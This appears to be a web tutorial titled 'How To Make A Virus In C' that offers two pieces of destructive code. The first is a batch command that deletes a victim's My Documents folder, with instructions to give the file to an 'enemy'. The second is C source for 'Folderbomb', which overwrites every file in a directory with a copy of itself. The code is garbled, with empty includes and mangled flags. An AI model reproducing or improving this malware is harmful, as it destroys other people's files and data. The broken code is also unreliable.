How To Make A Virus In C | Simple Virus Coding (Only for knowledge purpose)




Run this on your own responsibility*/

VIRUS CODE-1

IT DELETES THE MY DOCUMENTSFOLDER OF UR ENEMY.
HERE'S WHAT U SHOULD DO
OPEN NOTEPAD AND COPY-PASTETHE FOLLOWING CODE IN IT.
THEN SAVE THE FILE WITH WHATEVER NAME U LIKE BUT WITHBAT FILE Extention.
I MEAN SAVE IT LIKE VIRUS.BAT.
NOW IF U GIVE THIS TO SOMEONE AND IF HE RUNS THIS PROGRAM THEN HIS MY DOCUMENT FOLDER WILL BE DELETED.

Code Is Below
rmdir C:\Documents and Settings \S\Q.


Run this on your own responsibility*/
VIRUS CODE-2
/*This is a simple program to create a virus in c
It will create Folder in a Folder in a Folder and so on ......


#include
#include
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_R
DONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}